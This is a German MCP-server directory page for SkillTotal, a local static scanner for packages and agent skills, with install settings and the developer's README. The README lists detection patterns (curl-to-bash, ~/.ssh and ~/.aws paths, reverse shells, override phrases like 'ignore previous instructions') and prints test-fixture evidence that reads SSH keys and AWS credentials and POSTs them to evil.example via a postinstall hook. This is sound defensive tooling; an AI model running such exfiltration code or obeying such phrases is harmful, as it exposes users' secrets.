Prototyp · Vorschau: alle Server aus der offiziellen Registry, alle 30 Minuten synchronisiert. Bewertungen und Benutzerkonten folgen in einem späteren Schritt.
PopNx MCPMCP-Server für alle, die KI nutzen · in einfachen Worten erklärt

SkillTotal

von pezhikVersion 0.95.0i★ –iLäuft auf deinem Computer
Name in der Registryai.skilltotal/skilltotal

Installieren

Überblick

Beschreibung vom Entwickler (englisches Original)

Deterministic security scan of MCP servers, agent skills and npm/PyPI packages. Runs locally.

Die drei Säulen von PopNx MCP

Diese drei werden nie zu einer Punktzahl zusammengefasst: Meinungen, Messungen und Beliebtheit sind verschiedene Dinge.

Was du damit machen kannst

Für diesen Server haben wir noch keine Zusammenfassung in einfacher Sprache geschrieben. Unten stehen die Fakten, die wir aus der Registry gelesen haben.

  • Verbindung: Läuft auf deinem Computer
  • Transport: stdio
  • Kategorie: Sonstiges

Installation

Wähle die KI-App, die du nutzt, und kopiere die Einstellungen.

Bevor du installierst

  • Basischecks: 1 von 1 bestanden
  • Läuft auf deinem Computer mit den Rechten deines Benutzerkontos (Dateien, Netzwerk, Apps).
  • Die Registry nennt keinen Schlüssel zum Eintragen.

Du brauchst

  • PyPIuv für Python installiert (für den Befehl uvx)

Welche App nutzt du?

Wähle oben deine App. Wir merken sie uns, damit der Button beim nächsten Mal „In … installieren“ anzeigt.

Öffne Claude Desktop → Settings → Developer → Edit Config und füge dies in claude_desktop_config.json ein

{
  "mcpServers": {
    "skilltotal": {
      "command": "uvx",
      "args": [
        "skilltotal",
        "mcp"
      ]
    }
  }
}

Führe das in deinem Terminal aus

claude mcp add skilltotal -- uvx skilltotal mcp

In Cursor öffnen

Oder kopier die Einstellungen selbst

In .cursor/mcp.json in deinem Projekt oder in ~/.cursor/mcp.json einfügen

{
  "mcpServers": {
    "skilltotal": {
      "command": "uvx",
      "args": [
        "skilltotal",
        "mcp"
      ]
    }
  }
}

Dein Browser fragt, ob er die App öffnen darf, dann zeigt die App die Einstellungen und bittet dich um Bestätigung. Schlüsselwerte bleiben leer, damit du sie selbst einträgst.

In VS Code öffnen

Oder kopier die Einstellungen selbst

In .vscode/mcp.json in deinem Projekt einfügen

{
  "servers": {
    "skilltotal": {
      "type": "stdio",
      "command": "uvx",
      "args": [
        "skilltotal",
        "mcp"
      ]
    }
  }
}

Dein Browser fragt, ob er die App öffnen darf, dann zeigt die App die Einstellungen und bittet dich um Bestätigung. Schlüsselwerte bleiben leer, damit du sie selbst einträgst.

Dieser Server läuft auf deinem Computer, und ChatGPT kann sich nur mit Servern im Internet verbinden. Wähle eine andere App.

Deine Auswahl bleibt in einem Cookie auf diesem Gerät; kein Konto nötig.

Diese Einstellungen werden aus dem Registry-Eintrag des Entwicklers erzeugt. Wenn in der README etwas anderes steht, folge der README.

Was er kann

Läuft auf deinem Computer; die Tool-Liste erscheint nach der Installation in deiner KI-App.

Basischecksi

Wir prüfen Informationen, die jeder sehen kann; den Code haben wir nicht gelesen. Checks, die nicht zutreffen, werden nicht mitgezählt. · Geprüft am 6. Nov. 2026

  • ✓ Bestanden

    Entwickler passt zum Repo

    Der Registry-Name wurde über die Domain skilltotal.ai bestätigt (die Registry prüft, wem die Domain gehört)

  • … Noch nicht geprüft

    Wird noch gepflegt

    Dieses Repo haben wir noch nicht von GitHub gelesen

  • … Noch nicht geprüft

    Hat eine Lizenz

    Dieses Repo haben wir noch nicht von GitHub gelesen

  • – Nicht zutreffend

    Endpunkt antwortet

    Dieser Server läuft auf deinem Computer; es gibt keinen Endpunkt im Internet

  • – Nicht zutreffend

    Anmeldung mit OAuth

    Läuft auf deinem Computer und nutzt stattdessen lokale Einstellungen

  • … Noch nicht geprüft

    Keine versteckten Anweisungen in Tool-Beschreibungen

    Läuft auf deinem Computer; Tool-Listen können wir nur von Endpunkten im Internet lesen

Im Vergleich mit anderen in Sonstigesi

  • Mehr Sterne als 0 % der anderen 32417 Server in dieser Kategorie
  • Neuer in der Registry veröffentlicht als 98 % der anderen 32417 Server in dieser Kategorie
  • Basischecks gleich gut wie oder besser als bei 100 % der anderen 32417 Server in dieser Kategorie

Verglichen mit allen aktiven Servern dieser Kategorie in der Registry. Sterne zählen nur, wenn dem Herausgeber das Repo gehört.

Häufige Fragen

Ist SkillTotal sicher?

Er hat 1 von 1 zutreffenden Basischecks bestanden. Den Code haben wir nicht gelesen. Bevor du einen Schlüssel oder Token hinzufügst, sieh nach, welche Zugriffe der Server verlangt, und nutze einen Schlüssel, der nur die Berechtigungen hat, die du brauchst.

Welche Schlüssel oder Codes braucht er?

Die Registry nennt keinen erforderlichen Schlüssel, manche Server bitten dich aber bei der ersten Nutzung, dich anzumelden.

Läuft er auf meinem Computer oder in der Cloud?

Er läuft auf deinem Computer. Deine KI-App startet ihn bei Bedarf, und die Daten laufen nicht über die Server des Entwicklers (außer der Server ruft selbst einen Onlinedienst auf).

Wird er noch gepflegt?

Das GitHub-Repo wurde zuletzt – geändert, und die neueste Version (0.95.0) kam gestern in die Registry.

Welche Apps können ihn nutzen?

Apps, die MCP unterstützen, etwa Claude Desktop, Claude Code, Cursor und VS Code. Außerdem brauchst du Python (uv) auf deinem Computer.

Was kann ich stattdessen nutzen?

In derselben Kategorie: Spec Driven Development, Remote Desktop Commander, FOGA node

Alternativen

Server derselben Kategorie von anderen Entwicklern, sortiert nach Sternen.

So liest du eine Karte:★ GitHub-SterneiDrei Säulen: Bewertungen · Checks · NutzungiAktualisiert = neueste Version in der Registry veröffentlichti

Spec Driven Development

von formulahendry

MCP Server that facilitates spec-driven development workflows, not just Vibe Coding.

Läuft auf deinem Computer★ 440MITAktualisiert vor 14 Monaten
Installieren

Remote Desktop Commander

von desktop-commander

Remote Desktop Commander: use files, terminal and processes on your own computers from any AI app.

Läuft in der Cloud★ 211Aktualisiert gestern
Installieren

FOGA node

von garyyang-finchip

A Finch OG Agent cell as an MCP server: read the world, dry-run and take ERC-8414 tenders by policy.

Computer oder CloudAktualisiert heute
Installieren

README vom Entwickler

README öffnen

Unverändert aus dem Repo des Entwicklers übernommen. PopNx MCP hat den Inhalt weder geprüft noch empfiehlt es ihn. HTML, Bilder und Skripte wurden entfernt. Links führen von dieser Website weg.

Check packages before your coding agent installs them.

A static security scanner for npm and PyPI packages, MCP servers, agent skills and repositories.

Runs on your machine · never runs the code it scans · no LLM · every finding cites a file and line

Quick start · Claude Code plugin · GitHub Action · CLI · What it detects · Try it online

The plugin's real answer for a sanitized test package. No real package is shown.

Quick start

pipx install skilltotal

skilltotal scan npm:express # or pypi:name, a git URL, a folder, an archive

Check what your coding agent installs. Inside Claude Code:

/plugin marketplace add pezhik/skilltotal

/plugin install skilltotal@skilltotal /reload-plugins

Gate pull requests. Add one step to a workflow (full example with permissions):

      - uses: pezhik/skilltotal@v0.95.0

with: { source: ., fail-on: high }

To try it without installing anything, www.skilltotal.ai runs the same engine.

Choose your path

You want toStart here
Check packages before Claude Code installs themClaude Code plugin
Check packages before another agent installs themAgent hooks, each with a support tier, or the MCP server and guard
Scan a package, repository, folder, archive, .vsix, .mcpb or wheel yourselfskilltotal scan
Gate pull requests in CIGitHub Action and other CI
Adopt it on a repository that already has findingsRolling out with a baseline
Review a dependency upgrade before you merge itdiff --fail-on-new
Check the MCP servers, plugins, skills and editor extensions installed on your machine every dayInstalled components
Run that check on a company fleet, feed a SIEM, export an AI-BOMRunning it on a fleet
Accept a false positiveAccepting findings
Scan through a company registry mirrorRegistry mirrors

What it catches

It scans npm and PyPI packages, MCP servers, agent skills and plugins, VS Code extensions, git repositories (or one folder of them), local folders, archives (including .mcpb, .vsix and wheels) and single files, and looks for:

CategoryExamples
Shell executionsubprocess.*, os.system, child_process.exec, `curl … \bash` handed to a shell call
Filesystem accessopen, read_text/write_text, fs.readFile/writeFile
Sensitive paths~/.ssh, ~/.aws, .env, id_rsa, credentials, secrets
Network egressrequests, urllib, aiohttp, fetch, axios
Install-time executionnpm preinstall/postinstall/prepare, setup.py hooks, a lifecycle script that downloads or decodes code and runs it
Dynamic code executioneval, exec, compile, new Function, vm.runInNewContext
Obfuscationdecode-and-execute chains, base64 blobs, hex escaping, minification
MCP risksmanifests, dangerous tools (shell/fs/network/credential), server commands
Prompt surface"ignore previous instructions", "reveal system prompt", exfiltration phrasing
Post-exploitationreverse tunnels and shells, planted SSH keys, autostart persistence, antivirus or Gatekeeper evasion, host beacons

It also flags hidden Unicode in agent-facing text, embedded secrets, auto-approved MCP tools and data flows such as a credential read followed by network egress. skilltotal rules list prints every rule; coverage by component type and accuracy notes are in docs/detection.md.

Example report (a sanitized test package from this repository)

$ skilltotal scan tests/fixtures/malicious_npm_pkg

SkillTotal Security Report ========================== Component : evil-npm-pkg 0.0.1 (npm_package) Source : tests/fixtures/malicious_npm_pkg Verdict : HIGH - High risk - review before installing Risk : HIGH (score 70/100)

Findings (3 risk, 4 capability, not scored): [CRITICAL] ST-COMBO-EXFIL Sensitive-data access combined with network egress Evidence:

  • index.js:7 const key = fs.readFileSync(process.env.HOME + '/.ssh/id_rsa', 'utf8');
  • steal.js:3 const data = fs.readFileSync(process.env.HOME + '/.aws/credentials', 'utf8');
  • index.js:13 fetch('http://evil.example/collect', { method: 'POST', body: key }); ... and 1 more (all of them in --json)

[HIGH] ST-INSTALL-DROPPER Install-time hook paired with a dropper payload Evidence:

  • package.json:6 "postinstall": "node steal.js" ...

Shortened. The full report also prints descriptions, recommendations, capabilities and review items.

Why SkillTotal

  • The Claude Code plugin checks each npx, npm install, pip install or claude mcp add command before the agent runs it.
  • Scans run on your machine with no account, API token, upload or telemetry, and SkillTotal never runs the code it reads. The exception is the agent hooks' lockfile lookup: public package names and versions go to OSV, and SKILLTOTAL_OSV=0 turns that off (Network access).
  • Detection is regex and AST matching with no LLM, so the same input on the same Python version gives the same findings and score. Every finding cites a file and line, and recall and precision are published.
  • Zero runtime dependencies (Python standard library only) make it easy to audit, vendor or run air-gapped.
  • Reports carry a behavioral trait fingerprint mapped to the Cloud Security Alliance (CSA) agentic threat model, MAESTRO layers and MITRE ATLAS tactics; findings carry OWASP Agentic Skills Top 10 ids.
  • It is open source (Apache-2.0), and the full static report is free, forever.

How it works

SkillTotal fetches the component (a shallow git clone or the package archive), reads every file once and runs its scanners over them. It correlates the findings (a credential read plus network egress becomes an exfiltration path) and scores the result from 0 to 100. It looks only at the component's own files, never at the user, company, environment, deployment or runtime context. Every confirmed finding carries evidence (file, line range, code snippet); a signal that cannot be tied to evidence goes to needs_review, which never affects the score. A capability such as shell or network access is reported but scores zero. Details in docs/architecture.md and docs/scoring.md.

Claude Code plugin

Before an install command runs, the plugin scans each package it names, locally and with the same engine as the CLI. It reads npm, pnpm, yarn, bun, npx, pip, uv, uvx, pipx, poetry and similar installs, claude mcp add (and the Codex and Gemini equivalents), claude plugin install, code --install-extension and npx skills add, including when they are wrapped in sudo, bash -c, $(...) or PowerShell. Install the CLI first (skilltotal --version must work where you start Claude Code), then run the three commands from Quick start.

The scan findsWhat happens to the install
Malicious indicatorsDenied. The agent is told the finding and its file:line
High or critical risk, a look-alike package name, or anything it could not check (a custom registry, a name built at run time, a command hidden behind a decoder, a check that failed or ran out of time)Claude Code asks you
Nothing of that kindIt installs. The agent gets a one-line note with the version checked and its score
Anything it would ask about, in CIDenied: CI is fail-closed (see below)

Each install command gets a console line saying what was checked, or what was not and why. In CI (CI, GITLAB_CI, JENKINS_URL and similar, or SKILLTOTAL_STRICT=1) nobody is there to answer,

Nur der Anfang wird gezeigt; den Rest findest du im Repo

PopNx fragen